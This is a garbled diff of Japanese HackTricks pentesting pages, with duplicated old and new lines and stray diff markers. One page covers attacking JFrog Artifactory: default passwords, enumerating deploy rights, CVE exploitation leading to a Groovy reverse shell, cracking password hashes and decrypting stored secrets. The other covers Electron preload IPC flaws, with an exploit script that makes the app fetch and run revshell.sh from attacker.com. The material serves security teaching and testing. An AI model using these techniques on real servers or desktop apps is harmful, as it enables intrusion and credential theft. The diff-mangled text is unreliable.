**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。ペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、より深く掘り下げたり、シェルをポップしたり、楽しんだりする時間を与えます。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする**.**
|
||||
* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,230 +1,29 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**このコンテンツは** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory) **から取得されました**
|
||||
|
||||
# Artifactoryの基本 <a href="#artifactory-basics" id="artifactory-basics"></a>
|
||||
|
||||
## デフォルトのユーザーとパスワード <a href="#default-users-and-passwords" id="default-users-and-passwords"></a>
|
||||
|
||||
Artifactoryのデフォルトアカウントは以下の通りです:
|
||||
|
||||
| アカウント | デフォルトパスワード | 備考 |
|
||||
| ------------ | ---------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| admin | password | 一般的な管理アカウント |
|
||||
| access-admin | password (<6.8.0) または ランダムな値 (>= 6.8.0) | 本番環境の管理操作のみに使用される |
|
||||
| anonymous | ’’ | デフォルトでは有効になっていない、リモートからパッケージを取得するための匿名ユーザー |
|
||||
|
||||
デフォルトでは、パスワードロックポリシーが設定されていないため、Artifactoryはクレデンシャルスタッフィングやパスワードスプレー攻撃の主要なターゲットになります。
|
||||
|
||||
## 権限 <a href="#authorizations" id="authorizations"></a>
|
||||
|
||||
理想的には、Artifactoryに接続すると次のような画面が表示されるはずです:
|
||||
|
||||
|
||||
|
||||
一方で、次のような画面が表示された場合:
|
||||
|
||||
|
||||
|
||||
これは、管理パネルで「匿名アクセス」が有効になっていることを意味します。これはアプリケーションがアーティファクトを簡単に取得できるようにする一般的な設定ですが、攻撃者にとっては望ましくない情報が見えてしまうことを意味します。
|
||||
|
||||
## アカウント権限の確認 <a href="#checking-account-rights" id="checking-account-rights"></a>
|
||||
|
||||
時々、設定ミスにより、匿名ユーザーが一部のリポジトリにファイルをデプロイできるようになっていることがあります！
|
||||
|
||||
匿名ユーザーがデプロイできるリポジトリを確認するには、次のリクエストを使用します:
|
||||
```
|
||||
curl http://localhost:8081/artifactory/ui/repodata?deploy=true
|
||||
{"repoList":["artifactory-build-info","example-repo-local"]}
|
||||
```
|
||||
```
|
||||
リクエストに`repoKey`エントリがある場合、anonymousはこれらにデプロイできますが、これは非常に悪いことです。ファイルをデプロイするには、必ず認証されている必要があります。
|
||||
|
||||
これは、パスワードまたはトークンを取得した他のアカウントにも一般化できます。
|
||||
|
||||
## ユーザーのリスト表示 <a href="#listing-users" id="listing-users"></a>
|
||||
|
||||
何らかの理由で、ユーザーのリスト表示は管理者のみに予約された権利です。私はアーティファクトの「Deployed By」値に依存する、少なくともアクティブにデプロイしているユーザーをリストする別の方法を見つけました：
|
||||
|
||||
|
||||
|
||||
[このスクリプト](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a)は、アーティファクトをデプロイしたすべてのユーザーを再帰的に見つけようとするだけです。リポジトリが多い場合（>1000）、完了するまでに時間がかかる可能性があることに注意してください。
|
||||
```
|
||||
```
|
||||
./artifactory_list_users.py http://127.0.0.1:8081/artifactory
|
||||
There are 23 repositories to process
|
||||
Found user admin
|
||||
Found user test
|
||||
Found user user
|
||||
Found user test_deploy
|
||||
```
|
||||
## 権限 <a href="#permissions" id="permissions"></a>
|
||||
|
||||
基本的な権限とその有用性は以下の通りです：
|
||||
|
||||
* Manage: ?
|
||||
* Delete/Overwrite: ペンテストにおいて興味深い
|
||||
* Deploy/Cache: ペンテストにおいて興味深い
|
||||
* Annotate: CVE-2020-7931に必要
|
||||
* Read: 通常はデフォルト権限
|
||||
|
||||
# 既知の脆弱性 <a href="#known-vulnerabilities" id="known-vulnerabilities"></a>
|
||||
|
||||
ここには、影響が大きい公開脆弱性のキュレーションリストがあります：
|
||||
|
||||
## CVE-2016-10036: 任意のファイルアップロード & RCE (<4.8.6) <a href="#cve-2016-10036-arbitrary-file-upload--rce-486" id="cve-2016-10036-arbitrary-file-upload--rce-486"></a>
|
||||
|
||||
[詳細はこちら。](https://www.exploit-db.com/exploits/44543)
|
||||
|
||||
これは少し古くなっており、このような古いバージョンのArtifactoryに遭遇することはあまりありません。それでも非常に効果的で、単純なディレクトリトラバーサルにより、Tomcatレベルで任意のコード実行が可能になります。
|
||||
|
||||
## CVE-2019-9733: 認証バイパス (<6.8.6) <a href="#cve-2019-9733-authentication-bypass-686" id="cve-2019-9733-authentication-bypass-686"></a>
|
||||
|
||||
[オリジナルのアドバイザリーはこちら。](https://www.ciphertechs.com/jfrog-artifactory-advisory/)
|
||||
|
||||
Artifactoryの古いバージョン（6.7.3まで）では、`access-admin`アカウントがデフォルトパスワード`password`を使用していました。
|
||||
|
||||
このローカルアカウントは通常、UIやAPIへのアクセスが禁止されていますが、バージョン6.8.6までのArtifactoryでは、`X-Forwarded-For` HTTPヘッダーが`127.0.0.1`に設定されている場合、リクエストがローカルから発信されたと誤認させることができました。
|
||||
|
||||
## CVE-2020-7931: サーバーサイドテンプレートインジェクション (Artifactory Pro) <a href="#cve-2020-7931-server-side-template-injection-artifactory-pro" id="cve-2020-7931-server-side-template-injection-artifactory-pro"></a>
|
||||
|
||||
[オリジナルのアドバイザリーはこちら。](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md)
|
||||
|
||||
こちらは、この脆弱性の悪用を自動化するために[私が書いたツールです](https://github.com/gquere/CVE-2020-7931)。
|
||||
|
||||
悪用には以下が必要です：
|
||||
|
||||
* ファイルを作成する権限（deploy）と、フィルターを設定する権限（annotate）を持つユーザー
|
||||
* Artifactory Pro
|
||||
|
||||
脆弱性はかなり単純です：デプロイされたリソースがフィルターされていると設定されている場合、それはFreemarkerテンプレートとして解釈され、攻撃者にSSTI攻撃の窓を提供します。 
|
||||
|
||||
実装されたプリミティブは以下の通りです：
|
||||
|
||||
* 基本的なファイルシステムの読み取り
|
||||
* 限定的なファイルシステムへの書き込み
|
||||
|
||||
これらは、最も簡単/静かな方法から最も困難/騒々しい方法まで、さまざまな方法でリモートコード実行を行うのに十分なはずです：
|
||||
|
||||
* ファイルシステム上の秘密を読み取り、ピボットを行う（/home/user/.bash\_history, /home/user/password.txt, /home/user/.ssh/id\_rsa など）
|
||||
* ユーザーにSSHキーを追加する
|
||||
* サーブレットを実行するための.warをデプロイする
|
||||
* Artifactory Groovyユーザースクリプトをデプロイする
|
||||
|
||||
### .warストーリー：Java renameTo()の悪戯 <a href="#war-stories-java-renameto-shenanigans" id="war-stories-java-renameto-shenanigans"></a>
|
||||
|
||||
これは、ペンテスト中に何時間も、場合によっては数日間壁に頭をぶつけた小さな話です。私は古いArtifactoryに遭遇し、CVE-2020-7931に脆弱であることを知っていました。私は元のアドバイザリーのSSTIテンプレートをデプロイし、ファイルシステムを調べ始めました。Artifactoryが非標準の場所にインストールされているようでしたが、これは管理者がアプリケーションのバイナリ、データ、ログ、設定を分離したパーティションを好むため、それほど珍しいことではありません（これは良いことです！）。ユーザーのホームディレクトリにはSSHキーもパスワードもなく、簡単なピボットを提供するものはありませんでしたので、ファイルシステムに書き込むためにあまり控えめでない方法を取る時が来ました。Artifactoryのアップロードディレクトリに初期ペイロード（公開キー）をドロップすることはうまくいきましたが、SSHキーのディレクトリに移動することはできませんでした。そこで私は悪用のサンドボックスに戻り、再度テストしました。そしてなんと、うまくいきました。ですので、`renameTo()`メソッドを完了させるのを妨げている異なる設定があるはずでした。この時点で、[ドキュメントをチェックする](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-)のは常に良いアイデアです...これは、異なるファイルシステム間でファイルをリネームすることはできないと明確に述べています。これは、メソッドがinodeレベルで動作する場合には意味があるかもしれません。ああ。
|
||||
|
||||
管理者がパーティションを好むと言ったことを覚えていますか？さて、これは管理者が私のエクスプロイトに対して無意識のうちにセットアップを強化したケースです！ですので、私はJavaの監獄とも言えるものを掘り下げ、ディスクにファイルを書き込むことを可能にする別の方法を見つけなければなりませんでした。そしてそれは全く楽しいものではありませんでした。なぜなら、私は関与するどの事柄にも慣れていないからです：FTLテンプレート、Java、Tomcat/Catalina。私はすぐに、通常のJavaの監獄からの脱出はうまくいかないことを発見しました。新しいクラスのインスタンス化が禁止されていたからです。JavaとCatalinaのクラスのドキュメントを何時間も読んだ後、私は到達可能なオブジェクト上にwrite()メソッドを見つけました。しかし、それはウェブアプリケーションのベースパスに限定されていました...それから私は、別のファイルシステムへの書き込みと、この新しく到達可能なファイルシステムを越えた`renameTo()`を組み合わせて、どこにでも書き込むことができるのではないかと考えました？そして、それはある程度機能しました。私は一時的なアップロードディレクトリから書き出すことに成功しました...しかし、今度は私はartifactoryのすべてのもののマウントポイントである別のファイルシステムに閉じ込められました：設定、アプリケーションなど。ですので、まだSSHキーは手に入りませんでした。
|
||||
|
||||
さて、私はartifactoryのルートフォルダーに書き込むことができました。確かにここで何かできるはずですよね？ねえ、デフォルトのTomcatは自動的にアプリケーションパスに書かれたWARファイルをデプロイしますよね？それで私はmsfvenomを使用してJSPウェブシェルをWARファイルにパックして生成し、サンドボックスでテストしました...まあ、それは確かにデプロイされましたが、コマンド実行は得られませんでした。デフォルトのTomcatはJSPを処理しないようです。うーん。ますますイライラしてきた私は、Tomcatでコードを実行する別の方法を探し、サーブレットを使用する実行方法を見つけました。適切なペイロードが見つからなかったので、もう全部やってしまおうと思い、[自分で作成したものをこちらで見つけることができます](https://github.com/gquere/javaWebShell)。サンドボックスでテストし、動作する、OK。ターゲットに置いて、デプロイして...何も起こりません。artifactoryの前にプロキシがあり、すべてのURLを/artifactoryに書き換えていたことがわかりました。ですので、私のバックドアがデプロイされ実行されていたとしても、私がアクセスする方法はありませんでした...この時点で、何らかのリモートコード実行を達成するとしたら、TomcatのコンテキストではなくArtifactoryのコンテキストでなければなりませんでした。
|
||||
|
||||
翌朝、私は机で絶望的にArtifactoryのドキュメントを最後に見て、何かひらめきを得ることを虚しく願っていました。そして、魔法の言葉「Groovyスクリプト」が現れました。Groovyスクリプトを実行する複雑な方法があることがわかりました。それは、ディスクに書き込んでからAPIを通じてリロードすることです。最後に救われました！それで私はGroovyリバースシェルをマシンにポップし、それで終わりでした。SSTIを使用してファイルシステム上のどこにでも書き込むことができるよりクリーンな方法を見つけたかったのですが、開発に戻るつもりはありませんでした！
|
||||
|
||||
幸いにも、すべてのペンテストがこのようには進まないです :)
|
||||
|
||||
# ポストエクスプロイト <a href="#post-exploitation" id="post-exploitation"></a>
|
||||
|
||||
以下は、サーバーでリモートコード実行または任意のファイル読み取りを達成した後にのみ有用であり、別のマシンへのピボットに役立つかもしれません。
|
||||
|
||||
## パスワードと外部シークレットのストレージ <a href="#storage-of-passwords-and-external-secrets" id="storage-of-passwords-and-external-secrets"></a>
|
||||
|
||||
### ローカルパスワード <a href="#local-passwords" id="local-passwords"></a>
|
||||
|
||||
ローカルのartifactoryパスワードは、塩漬けMD5またはbcrypt形式で保存されており、前者は非推奨です。
|
||||
|
||||
MD5パスワードは常にハードコードされたspring値`{CAFEBABEEBABEFAC}`で塩漬けされ、ラウンドなしの単純な連結を使用しています。つまり、`hash = md5(password + salt)`です。データベースは塩が`CAFEBABEEBABEFAC`だと言っていますが、信じてください、それは`{CAFEBABEEBABEFAC}`です。見つけるのに苦労しました :)
|
||||
|
||||
これらのMD5パスワードをクラックするには、JtRのダイナミックモードを使用する必要があります：
|
||||
```
|
||||
cat artifactory.hashes
|
||||
user:1f70548d73baca61aab8660733c7de81${CAFEBABEEBABEFAC}
|
||||
john artifactory.hashes --format=dynamic_1
|
||||
Loaded 1 password hash (dynamic_1 [md5($p.$s) (joomla) 256/256 AVX2 8x3])
|
||||
password (user)
|
||||
```
|
||||
他のタイプのbcryptパスワードには特別なものは必要ありません。それは単に標準的なbcryptハッシュです：
|
||||
```
|
||||
cat artifactory_bcrypt.hashes
|
||||
admin:$2a$08$EbfHSAjPLoJnG/yHS/zmi.VizaWSipUuKAo7laKt6b8LePPTfDVeW
|
||||
john artifactory_bcrypt.hashes
|
||||
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
|
||||
password (admin)
|
||||
```
|
||||
### リモートシークレット <a href="#remote-secrets" id="remote-secrets"></a>
|
||||
|
||||
Artifactoryはリモートサービスに識別するためのシークレットを保存する必要があります。これらのシークレットはハッシュ化されていませんが、暗号化されてディスク上に保存され、その鍵は隣にあります。[公式ドキュメント](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/)には2種類のシークレットが言及されています。
|
||||
|
||||
**旧形式 (<5.9): DES-EDE**
|
||||
|
||||
TODO。[暗号化されたデータのサンプルがあれば問題を開いてください](https://github.com/gquere/ArtifactoryDecryptor)。
|
||||
|
||||
**新形式 (>=5.9): AES128-CBC暗号化、base58として保存**
|
||||
|
||||
外部シークレット（リモートサーバーのパスワードなど）は[設定記述子](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor)で見つかり、例えば `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml` には次のように表示されます：
|
||||
```
|
||||
<keyStorePassword>AM.25rLQ.AES128.vJMeKkaK6RBRQCUKJWvYEHUw6zs394X1CrRugvJsQGPanhMgQ5be8yjWDhJYC4BEz2KRE</keyStorePassword>
|
||||
```
|
||||
```markdown
|
||||
どこで:
|
||||
|
||||
* `AM` は常にアーティファクトリー暗号化シークレットを示します
|
||||
* `25rLQ` はキーの識別子と一致しなければならないシークレット識別子です
|
||||
* `AES128` は明らかに使用されるアルゴリズムです
|
||||
* `vJMeK...KRE` は `IV_SIZE|IV|secret|CRC` のbase58エンコーディングです
|
||||
|
||||
以下の正規表現を使用することで、より多くのシークレット（トークン、設定バックアップなど）を見つけることができます:
|
||||
```
|
||||
```
|
||||
grep -r 'AM\..*\.AES128\.' /var/opt/jfrog/artifactory/
|
||||
```
|
||||
キーは `/var/opt/jfrog/artifactory/etc/security/artifactory.key` に保存されており、以下のようになります:
|
||||
```
|
||||
JS.25rLQ.AES128.7fcJFd3Y2ib3wi4EHnhbvZuxu
|
||||
```
|
||||
```
|
||||
どこで:
|
||||
|
||||
* `JS` はキーを示します
|
||||
* `25rLQ` はどのキーがどの秘密を解読できるかを追跡するユニークなキー識別子です
|
||||
* `AES128` は明らかに使用されるアルゴリズムです
|
||||
* `7fcJFd3Y2ib3wi4EHnhbvZuxu` はキーとCRCの2バイトのbase58エンコーディングです
|
||||
|
||||
このツールは、Artifactoryの秘密をオフラインで解読するために使用できます: [ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor).
|
||||
|
||||
# Artifactoryの防御 <a href="#defending-artifactory" id="defending-artifactory"></a>
|
||||
|
||||
もしあなたがブルーチームまたはArtifactory管理者なら、今までに何をすべきかについてかなり良いアイデアを持っているはずです:
|
||||
|
||||
* 特に重要なアップデートが発行されたときは、Artifactoryを最新の状態に保つ
|
||||
* 健全なパスワードポリシーを実装する（デフォルトパスワードなし、強力なパスワードの必須、ロックアウト）、できればより良い監視のために外部LDAPに委託する
|
||||
* アクセスを制限する（最小権限の原則を尊重する）、特に匿名ユーザーに対して
|
||||
|
||||
**この投稿をチェック：** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* **HackTricks**の[**githubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,26 +1,26 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
preloadスクリプトがmain.jsファイルからIPCエンドポイントを公開している場合、レンダラープロセスがそれにアクセスでき、脆弱性がある場合、RCEが可能になるかもしれません。
|
||||
preloadスクリプトがmain.jsファイルからIPCエンドポイントを公開している場合、レンダラープロセスはそれにアクセスでき、脆弱性がある場合、RCEが可能になるかもしれません。
|
||||
|
||||
**これらの例はすべてここから取られています** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
|
||||
**これらの例はすべてここから取得されました** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)。詳細についてはビデオをチェックしてください。
|
||||
|
||||
# 例 1
|
||||
# 例1
|
||||
|
||||
`main.js`が`getUpdate`にリッスンしていて、渡された**任意のURLをダウンロードして実行する**ことを確認してください。\
|
||||
また、`preload.js`がmainからの**任意のIPC**イベントを公開していることも確認してください。
|
||||
`main.js` が `getUpdate` でリッスンしている方法を確認し、**渡された任意のURLをダウンロードして実行**します。\
|
||||
また、`preload.js` が main から**任意のIPC** イベントを公開している方法も確認してください。
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
ipcMain.on('getUpdate', (event, url) => {
|
||||
|
|
@ -70,7 +70,7 @@ window.electronSend = (event, data) => {
|
|||
ipcRenderer.send(event, data);
|
||||
};
|
||||
```
|
||||
Exploit: (そのまま)
|
||||
Exploit: 攻撃手法
|
||||
```html
|
||||
<script>
|
||||
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
||||
|
|
@ -78,16 +78,16 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|||
```
|
||||
# 例2
|
||||
|
||||
preloadスクリプトがレンダラーに直接shell.openExternalを呼び出す方法を露出させると、RCEを取得することが可能です。
|
||||
もしpreloadスクリプトがレンダラーに直接shell.openExternalを呼び出す方法を公開している場合、RCEを取得することが可能です。
|
||||
```javascript
|
||||
// Part of preload.js code
|
||||
window.electronOpenInBrowser = (url) => {
|
||||
shell.openExternal(url);
|
||||
};
|
||||
```
|
||||
# 例3
|
||||
# 例 3
|
||||
|
||||
プリロードスクリプトがメインプロセスと完全に通信する方法を露出させる場合、XSSは任意のイベントを送信できます。これの影響は、IPCの観点からメインプロセスが何を公開しているかによります。
|
||||
preload スクリプトが主プロセスと完全に通信する方法を公開している場合、XSS は任意のイベントを送信できます。これの影響は、主プロセスが IPC で公開している内容に依存します。
|
||||
```javascript
|
||||
window.electronListen = (event, cb) => {
|
||||
ipcRenderer.on(event, cb);
|
||||
|
|
@ -99,14 +99,14 @@ ipcRenderer.send(event, data);
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。
|
||||
|
||||
